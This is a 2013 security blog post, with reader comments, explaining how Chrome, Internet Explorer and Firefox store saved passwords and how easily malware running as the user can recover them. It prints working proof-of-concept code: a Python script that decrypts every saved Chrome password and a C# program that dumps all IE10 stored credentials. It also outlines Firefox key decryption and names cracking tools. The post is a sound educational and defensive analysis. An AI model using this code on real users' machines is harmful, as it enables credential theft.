Saturday, June 22, 2013

Passwords stored in browsers

RaiderSec

Texas Tech Security Group Home Topics Meetings Resources ▼
http://raidersec.blogspot.de/2013/06/how-browsers-store-your-passwords-and.html?m=1
Thursday, June 20, 2013

How Browsers Store Your Passwords (and Why You Shouldn't Let Them)

IntroductionIn a previous post, I introduced a Twitter bot called
dumpmon which monitors paste sites for account dumps, configuration
files, and other information. Since then, I've been monitoring the
information that is detected. While you can expect a follow-up post
with more dumpmon-filled data soon, this post is about how browsers
store passwords.I mention dumpmon because I have started to run across
quite a few pastes like this that appear to be credential logs from
malware on infected computers. It got me thinking - I've always
considered it best to not have browsers store passwords directly, but
why? How easy can it be for malware to pull these passwords off of
infected computers? Since sources are a bit tough to find in one
place, I've decided to post the results here, as well as show some
simple code to extract passwords from each browser's password
manager.The BrowsersFor this post, I'll be analyzing the following
browsers on a Windows 8 machine. Here's a table of contents for this
post to help you skip to whatever browser you're interested in:Chrome
27.0.1453.110IE 10Firefox 21.0Logos by Paul IrishChromeDifficulty to
obtain passwords: EasyLet's start with Chrome. Disappointingly, I
found Chrome to be the easiest browser to extract passwords from. The
encrypted passwords are stored in a sqlite database located at
"%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data". But
how do they get there? And how is it encrypted? I got a majority of
information about how passwords are stored in Chrome from this article
written over 4 years ago. Since a bit has changed since then, I'll
follow the same steps to show you how passwords are handled using
snippets from the current Chromium source (or you just skip straight
to the decryption).Encryption and Storing PasswordsWhen you attempt to
log into a website, Chrome first checks to see if it was a successful
login:We can see that if it's a successful login, and you used a new
set of credentials that the browser didn't generate, Chrome will
display a bar asking if you want your password to be remembered:To
save space, I'm omitting the code that creates the Save Password bar.
However, if we click "Save password", the Accept function is called,
which in turn calls the "Save" function of Chrome's password
manager:Easy enough. If it's a new login, we need to save it as
such:Again to save space, I've snipped a bit out of this (a check is
performed to see if the credentials go to a Google website, etc.).
After this function is called, a task is scheduled to perform the
AddLoginImpl() function. This is to help keep the UI snappy:This
function attempts to call the AddLogin() function of the login
database object, checking to see if it was successful. Here's the
function (we're about to see how passwords are stored, I promise!):Now
we're getting somewhere. We create an encrypted string out of our
password. I've snipped it out, but below the "sql::Statement" line, a
SQL query is performed to store the encrypted data in the Login Data
file. The EncryptedString function simply calls the EncryptString16
function on an Encryptor object (this just calls the following
function below):Finally! We can finally see that the password given is
encrypted using a call to the Windows API functionCryptProtectData.
This means that the password is likely to only be recovered by a user
with the same logon credential that encrypted the data. This is no
problem, since malware is usually executed within the context of a
user.Decrypting the PasswordsBefore talking about how to decrypt the
passwords stored above, let's first take a look at the Login Data file
using a sqlite browser.Our goal will be to extract the action_url,
username_value, and password_value (binary, so the SQLite browser
can't display it) fields from this database. To decrypt the password,
all we'll need to do is make a call to the Windows API
CryptUnprotectData function. Fortunately for us, Python has a great
library for making Windows API calls called pywin32.Let's look at the
PoC:12345678910111213141516from os import getenvimport sqlite3import
win32crypt # Connect to the Databaseconn =
sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User
Data\Default\Login Data")cursor = conn.cursor()# Get the
resultscursor.execute('SELECT action_url, username_value,
password_value FROM logins')for result in cursor.fetchall(): # Decrypt
the Password password = win32crypt.CryptUnprotectData(result[2], None,
None, None, 0)[1] if password: print 'Site: ' + result[0] print
'Username: ' + result[1] print 'Password: ' + passwordview
rawchrome_extract.pyThis Gist brought to you by GitHub.And, by running
the code, we see we are successful!While it was a bit involved to find
out how the passwords are stored (other dynamic methods could be used,
but I figured showing the code would be most thorough), we can see
that not much effort was needed to actually decrypt the passwords. The
only data that is protected is the password field, and that's only in
the context of the current user.  Internet ExplorerDifficulty to
obtain passwords: Easy/Medium/Hard (Depends on version)Up until IE10,
Internet Explorer's password manager used essentially the same
technology as Chrome's, but with some interesting twists. For the sake
of completeness, we'll briefly discuss where passwords are stored in
IE7-IE9, then we'll discuss the change made in IE10. Internet Explorer
7-9In previous versions of Internet Explorer, passwords were stored in
two different places, depending on thetype of password.Registry
(form-based authentication) - Passwords submitted to websites such as
Facebook, Gmail, etc.Credentials File - HTTP Authentication passwords,
as well as network login credentials For the sake of this post, we'll
discuss credentials from form-based authentication, since these are
what an average attacker will likely target. These credentials are
stored in the following registry
key:HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\IntelliForms\Storage2Looking at the values using regedit, we
see something similar to the following:As was the case with Chrome,
these credentials are stored using Windows API function
CryptProtectData. The difference here is that additional entropy is
provided to the function. This entropy, also the registry key, is the
SHA1 checksum of the URL (in unicode) of the site for which the
credentials are used.This is beneficial because when a user visits a
website IE can quickly determine if credentials are stored for it by
hashing the URL, and then using that hash to decrypt the credentials.
However, if an attacker doesn't know the URL used, they will have a
much harder time decrypting the credentials.Attackers will often be
able to mitigate this protection by simply iterating through a user's
Internet history, hashing each URL, and then checking to see if any
credentials have been stored for it.While I won't paste the entire
code here, you can find a great example of a full PoC here. For now,
let's move on to IE10.Internet Explorer 10IE10 changed the way it
stores passwords. Now, all autocomplete passwords are stored in the
Credential Manager in a location called the "Web Credentials". It
looks something like the following:To my knowledge (I wasn't able to
find much information on this), these credential files are stored in
%APPDATA%\Local\Microsoft\Vault\[random]. A reference to what these
files are, and the format used could be found here.What I do know is
that it wasn't hard to obtain these passwords. In fact, it was
extremely easy. For Windows Store apps, Microsoft provided a new
Windows runtime for more API access. This runtime provides access to a
Windows.Security.Credentials namespace which provides all the
functionality we need to enumerate the user's credentials.In fact,
here is a short PoC C# snippet which, when executed in the context of
a user, will retrieve all the stored
passwords:123456789101112131415161718192021222324252627282930313233using
System;using System.Collections.Generic;using System.Linq;using
System.Text;using System.Threading.Tasks;using
Windows.Security.Credentials; namespace PasswordVaultTest{ class
Program { static void Main(string[] args) { // Create a handle to the
Widnows Password vault Windows.Security.Credentials.PasswordVault
vault = new PasswordVault(); // Retrieve all the credentials from the
vault IReadOnlyList<PasswordCredential> credentials =
vault.RetrieveAll(); // The list returned is an IReadOnlyList, so
there is no enumerator. // No problem, we'll just see how many
credentials there are and do it the // old fashioned way for (int i =
0; i < credentials.Count; i++) { // Obtain the credential
PasswordCredential cred = credentials.ElementAt(i); // "Fill in the
password" (I wish I knew more about what this was doing)
cred.RetrievePassword(); // Print the result
Console.WriteLine(cred.Resource + ':' + cred.UserName + ':' +
cred.Password); } Console.ReadKey(); } }}view rawie_extract.csThis
Gist brought to you by GitHub.When executing the program, the output
will be similar to this:Note: I removed some sites that I believe came
from me telling IE not to record. Other than that, I'm not sure how
they got there.As you can see, it was pretty trivial to extract all
the passwords in use from a given user, as long as our program is
executing in the context of the user. Moving right along!
FirefoxDifficulty to obtain passwords: Medium/Very HardNext let's take
a look at Firefox, which was tricky. I primarily used these slides
(among a multitude of other resources) to find information about where
user data is stored.But first, a little about the crypto behind
Firefox's password manager. Mozilla developed a open-source set of
libraries called "Network Security Services", or NSS, to provide
developers with the ability to create applications that meet a wide
variety of security standards. Firefox makes use of an API in this
library called the "Secret Decoder Ring", or SDR, to facilitate the
encryption and decryption of account credentials. While it may have a
"cutesy name", let's see how it's used by Firefox to provide
competitive crypto:When a Firefox profile is first created, a random
key called an SDR key and a salt are created and stored in a file
called "key3.db". This key and salt are used in the 3DES (DES-EDE-CBC)
algorithm to encrypt all usernames and passwords. These encrypted
values are then base64-encoded, and stored in a sqlite database called
signons.sqlite. Both the "signons.sqlite" and "key3.db" files are
located at %APPDATA%/Mozilla/Firefox/Profiles/[random_profile].So what
we need to do is to get the SDR key. As explained here, this key is
held in a container called a PKCS#11 software "token". This token is
encapsulated inside of a PKCS#11 "slot". Therefore, to decrypt the
account credentials, we need to access this slot.But there's a catch.
This SDR key itself is encrypted using the 3DES (DES-EDE-CBC)
algorithm. The key to decrypt this value is the hash of what Mozilla
calls a "Master Password", paired with another value found in the
key3.db file called the "global salt".Firefox users are able to set a
Master Password in the browser's settings. The problem is that many
users likely don't know about this feature. As we can see, the entire
integrity of a user's account credentials hinges on the complexity of
chosen password that's tucked away in the security settings, since
this is the only value not known to the attacker. However, it can also
been that if a user picks a strong Master Password, it is unlikely
that an attacker will be able to recover the stored credentials.Here's
the thing - if a user doesn't set a Master Password, a null one ("")
is used. This means that an attacker could extract the global salt,
hash it with "", use that to decrypt the SDR key, and then use that to
compromise the user's credentials.Let's see what this might look
like:To get a better picture of what's happening, let's briefly go to
the source. The primary function responsible for doing credential
decryption is called PK11SDR_Decrypt. While I won't put the whole
function here, the following functions are called,
respectively:PK11_GetInternalKeySlot() //Gets the internal key
slotPK11_Authenticate() //Authenticates to the slot using the given
Master PasswordPK11_FindFixedKey() //Gets the SDR key from the
slotpk11_Decrypt() //Decrypts the base64-decoded data using the found
SDR keyAs for example code to decrypt the passwords, since this
process is a bit involved, I won't reinvent the wheel here. However,
here are two open-source projects that can do this process for
you:FireMaster - Brute forces master passwordsffpasscracker - I
promised you Python, so here's a solution. This uses the libnss.so
library as a loaded DLL. To use this on Windows, you can use these
cygwin DLL's.ConclusionI hope this post has helped clarify how
browsers store your passwords, and why in some cases you shouldn't let
them. However, it would be unfair to end the post saying that browsers
are completely unreliable at storing passwords. For example, in the
case of Firefox, if a strong Master Password is chosen, account
details are very unlikely to be harvested.But, if you would like an
alternative password manager, LastPass, KeePass, etc. are all great
suggestions. You could also implement two-factor authentication using
a device such as a YubiKey.As always, please don't hesitate to let me
know if you have any questions or suggestions in the comments below.-
JordanJordan at 10:08 PMShare

27 comments:

mr.wizrdJune 21, 2013 at 7:47 AMJust a note, I think you meant to say
"unfair to end the post..." instead of "fair". The following sentence
provides a counterexample.Great article, I enjoyed reading
it!ReplyRepliesJordanJune 21, 2013 at 8:27 AMHey there! Thanks for the
comment (and close reading!) You're absolutely right, and it should be
fixed now.Thanks again!ReplyhehJune 21, 2013 at 8:50 AMJtR and
hashkill are much much faster than FireMaster. Do try them
;)ReplyRepliesJordanJune 21, 2013 at 8:53 AMOf course! Great point. I
completely forgot that JtR supports Firefox hashes (when looking at
the code, it's almost the exact same decryption code that Firemaster
uses.. not sure who made it first).ReplyDarren MeyerJune 21, 2013 at
10:56 AMYou say: "the password given is encrypted using a call to the
Windows API function CryptProtectData. This means that the password is
likely to only be recovered by a user with the same logon credential
that encrypted the data. This is no problem, since malware is usually
executed within the context of a user."While that's true, malware
running on the machine can also just log the users credentials (e.g.
keylogger) or see the protected data. I don't think it's possible to
create a password-storage system that's not vulnerable to local
malware.It seems like Chrome does the Right Thing in using a
system-standard library to protect credentials in a way that requires
some kind of local access (via malware/etc.) to
decrypt.ReplyRepliesJordanJune 21, 2013 at 1:12 PMYou make a great
point, and I appreciate the comment! It is important to note that
these credentials are likely to not be recovered if the malware does
not have some kind of local access. The goal of this post was to kind
of show what "defense-in-depth" strategies browsers use for protecting
these credentials.For example, consider how IE7-9 protects the data.
It puts an interesting twist on the standard API call by using the
hash of the website as added entropy. While this certainly isn't
perfect (especially if the user does not clear his/her history), it's
still one more layer of defense.Or we can consider Firefox, who allows
the user to set a Master Password that must be known (and to my
knowledge not stored) for decryption. This also provides another layer
of defense.I hope this helps. You are right in saying that it might be
very difficult to protect data against local malware. In Chrome's
case, I simply wish they had had a more layered approach. Doesn't mean
I'll stop using it as my browser, though :DThanks again for the great
comment.Sean HarlowJune 21, 2013 at 4:20 PMI'm not so sure it really
helps all that much unless the attacker is just looking for
"passwords" as a whole, rather than specific passwords. If I'm a
malware author, it's not *that* hard to check out a few major
financial institutions or whatever else I'm targeting and determine
the main URL for their login page, then just look for the relevant
hash in the registry. Many modern web sites have a standard
"http://domain.tld/login" or similar which they redirect users through
no matter where they're coming from, so for any targeted attack this
added about as much as ROT13.Again though assuming the user clears
their history it is pretty decent against someone just looking for any
passwords at all.ReplyJonathan DumaineJune 21, 2013 at 1:05 PMHow hard
would it be for undetected malware to target the plaintext password in
the browser's memory after the user decrypts it instead of trying to
decrypt it from the file system?ReplyRepliesJordanJune 21, 2013 at
1:16 PMI'm not sure - it would need to be researched a bit more. To my
knowledge, these passwords are decrypted as they are needed, not just
stored when the browser opens (though I could be wrong).espadrineJune
21, 2013 at 3:45 PMReasonably
easy.https://bugzilla.mozilla.org/show_bug.cgi?id=298539Note comment
1: "If someone has the rights to see your process memory,can't they
probably also install a keylogger on the machine?"ReplyBillyJune 21,
2013 at 2:12 PMWhy would I have any expectation that my saved
passwords would be secure if you had access to my system? If you are
getting me to run an arbitrary binary with my user's permissions,
haven't you already pwned my account and possibly my box? This smells
like a case of "it rather involved being on the other side of this
airtight hatchway"ReplyRepliesJordanJune 21, 2013 at 2:23 PMGood
question! You're right - in these cases it is assumed malware is
already present on the system and running in the context of the user.
But there can simply be better protection.Consider Firefox's use of a
Master Password. Even if an attacker is on the otherside of the
airtight hatchway, he/she will not get the credentials unless they can
find out the password used.Thanks for the great comment!Aaron
GableJune 22, 2013 at 12:32 AMChrome's password strategy is basically
"your passwords are exactly as secure as your OS". On all platforms,
Chrome tries to use the system keyring -- CryptUnprotectedData,
KWallet, Gnome Wallet, Keychain, etc. -- and not do anything else.
Chrome's security model is to protect you from getting malware on your
machine in the first place, rather than to try to mitigate damage from
malware introduced via other vectors.While the defense-in-depth you
discuss here is certainly valid, in the end, if someone has arbitrary
code executing on your computer with your user credentials, you're
hosed no matter what.Jindrich KubecJune 22, 2013 at 4:07 AMI don't
think this thought approach is any good. Various data need various
levels of protection. So although it's true that compromised computer
is compromised ;) and the attacker could do whatever he wants, the
added level of protection of something as valuable as passwords (as
Firefox does) is important and could lengthen the window between
compromise and successful data theft, in which the compromise may be
detected. (You can break my house's windows, but the valuables are in
safe).Basically there is almost no difference between saving data in
plaintext and the Chrome method (in case of local user account
compromise).ReplyMichaelJune 21, 2013 at 4:02 PMDo these issues apply
when using the Chrome browser on Chrome OS or
Android?ReplyRepliesJordanJune 21, 2013 at 4:25 PMI'm not sure - My
guess is "probably". Though again, I haven't looked into
it.ReplySteven LivingstoneJune 21, 2013 at 4:09 PMSo did these tests
use elevated privileges ... would i expect to see a prompt as a user
or can these be done as past of the user
context?ReplyRepliesJordanJune 21, 2013 at 4:27 PMNo elevated
permissions were used. I don't think the user would see a prompt if
the process was just started in the background.ReplyJudah HimangoJune
21, 2013 at 4:10 PMI'm confused about the Windows Store app example.
Are you suggesting any Windows Store app can access all of IE10's
stored credentials?ReplyRepliesJordanJune 21, 2013 at 4:26 PMThat's
actually a fantastic (and important) question to ask. I can't give a
for sure answer, but with how easy it was to pull the credentials with
no special permissions, etc. I would say it could be likely.ReplyJay
OsterJune 21, 2013 at 4:45 PMOn OS X and Linux, we have keychain
managers that put the onus of protecting password storage on the
principle of least privilege. The idea is that privilege escalation is
required to interact with the APIs to retrieve information stored
within the keychain. A user would have to explicitly allow local
malware to access the keychain when it requests permission.An interest
side-channel lies in extensions for a browser which already has
permission to interact with the keychain; A well-designed extension
system will have its own sandbox with access control levels, requiring
a privilege "audit" step during installation to explicitly allow the
privileges the add-on is requesting access. Chrome and Firefox handles
it pretty well, as do Facebook apps, Android apps, iOS apps, etc. If
you ever see "This app can access your passwords", that's an immediate
red-flag.But there's really nothing stopping you from blindly
installing malware anyway. :)ReplyWes StewartJune 21, 2013 at 5:19
PMOne word, Roboform. A much better program then Lastpass. $10 the
first year and $20 a year thereafter. Well worth the
money.ReplykrioutJune 21, 2013 at 5:21 PMwhat about software like
dashlane that has plugin for firefox chrome and IE
???ReplyJohnDough1999June 21, 2013 at 10:13 PMBest program for
passwords is Password Safe.Open source, free, multiple platforms
supported.http://passwordsafe.sourceforge.netReplyUnknownJune 21, 2013
at 11:14 PMCouldn't a hacker simply create a program that opens the
browser, goes to the site they want to hack, then copy out the data
remembered in the form fields? Not only would it just require some
simple JS, it would be much easier than going into the actual data
itself and copying out and decrypting from local files.Even so, I
trust that with some good antivirus and basic computer knowledge that
won't happen.ReplypphheerroonnJune 22, 2013 at 4:32 AMOr... In
Firefox, just open the password manager and click show
passwords!Replynishan goswamiJune 22, 2013 at 1:11 PMCan a comparison
test be done on how the native password managers compare with
something such as lastpass.Reply›HomeView web versionPowered by
Blogger

3 comments: